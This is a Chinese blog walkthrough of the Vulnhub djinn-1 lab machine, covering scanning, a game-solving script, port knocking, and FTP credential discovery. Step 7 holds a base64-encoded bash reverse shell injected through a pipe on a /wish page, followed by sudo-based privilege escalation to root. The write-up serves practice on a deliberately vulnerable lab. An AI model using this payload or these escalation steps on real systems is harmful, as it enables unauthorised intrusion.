【Vulnhub】靶机djinn-1

前言

  • Vulnhub刷题简单记录

djinn-1开始

1、可以用两种方法确认靶场的存在,扫ip

1
2
netdiscover -i eth0 -r 192.168.56.0/24
nmap -sn 192.168.56.0/24

2、扫目标端口开发情况

1
2
nmap -p- -sV -sC 192.168.56.108 -oA R
./nmapAutomator.sh -H 192.168.56.108 -t recon

3、发现1337端口需要通关一个游戏才能获得hint,所以写了个脚本,跑1001次获得提示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# coding:utf-8
import telnetlib
import time
import re
import threading

def main():
try:
tn = telnetlib.Telnet('192.168.56.111',port=1337)
except:
print('error')
time.sleep(0.5)
loop=1
while loop<1002:
data = tn.read_very_eager().decode("ascii")
res = re.search('(.*?)\n>',data).group(1)
datas = str(calc(res))
print(str(loop)+"[*]"+datas)
loop=loop+1
tn.write(datas.encode('ascii')+b'\n')
time.sleep(0.1)
data = tn.read_very_eager().decode("ascii")
return data

def calc(res):
# (3, '+', 6)
res_str = res.strip('(').strip(')').replace("'","")
nums = res_str.split(',')
n1 = nums[0].strip()
operator=nums[1].strip()
n2 = nums[2].strip()
return eval(n1+operator+n2)

print(main())

image-20210927123344452

接着我们就获得了ssh端口的暗语,之前ssh端口是扫不出来的,现在用knock打开ssh端口

1
knock 192.168.56.111 1356 6784 3409

image-20210927123443849

4、因为开启了21端口,并且nmap扫出用户ftp,无密码,我们连接获取了三个文本将其下载查看

image-20210927124214447

5、这里给出了一些账号和密码,因为我们玩游戏已经打开了22端口,之后可以尝试登陆

image-20210927124334557

6、接着看看7331端口是个网页,我们扫一下目录,在wish目录中发现命令执行

1
http://192.168.56.111:7331/wish

7、通过burp中fuzz发现管道符没过滤,可以直接反弹shell利用base64转换

1
echo "YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC41Ni4xLzEyMzQgMD4mMScK"|base64 -d|bash

image-20210927165623290

8、接着分析app.py的内容,有一个/home/nitish/.dev/creds.txt目录,其中有我们想要的账号和密码,发现有一个genie可以执行sam的权限

1
nitish:p4ssw0rdStr3r0n9

image-20210927170830417

9、用man查看genie的使用方法,发现有-cmd可以进入bash所以直接换用户,接着又发现无需密码可以执行root权限/root/lago

1
2
man genie
sudo -u sam genie -cmd whoami #转入sam用户

10、可以在/home/sam中发现.pyc是python2.7写的,我们试着反编译

1
file .pyc

这里要用到一个工具uncompyle6来进行反编译,这里说一些安装的坑

1
2
pip install uncompyle6
uncompyle6

如果遇到报错的话,可能是你python3.9版本过高,需要调一下,加一个3.9,不然无法执行

1
2
3
4
5
linux中就改这个
vim /usr/local/lib/python3.9/dist-packages/uncompyle6/bin/uncompile.py

windows就改这个
C:\python30\Lib\site-packages\uncompyle6\bin

image-20210927174200267

接着将我们的.pyc反编译成1.py

1
uncompyle6  -o 1.py .pyc

image-20210927174540927

接着发现这个源代码就是可以执行root权限的那个lago的源码,我们仔细看看,我只截取重要的

1
2
3
4
5
6
7
8
9
10


def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'

发现如果我们输入num 的话就可以执行/bin/sh,这就拿到root权限了(考点就是反编译)

1
sudo -u root /root/lago #进入猜数字

image-20210927175111741

结果

image-20210927175213178

也可以看到1337的程序是xinetd,可以再cat /opt/1337/app.py这个目录中查看到1337端口的对应计算的代码获取

1
2
netstat -lntp
locate xinetd

我的个人博客

孤桜懶契:http://gylq.gitee.io

本文标题:【Vulnhub】靶机djinn-1

文章作者:孤桜懶契

发布时间:2021年09月26日 - 21:29:12

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/166.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------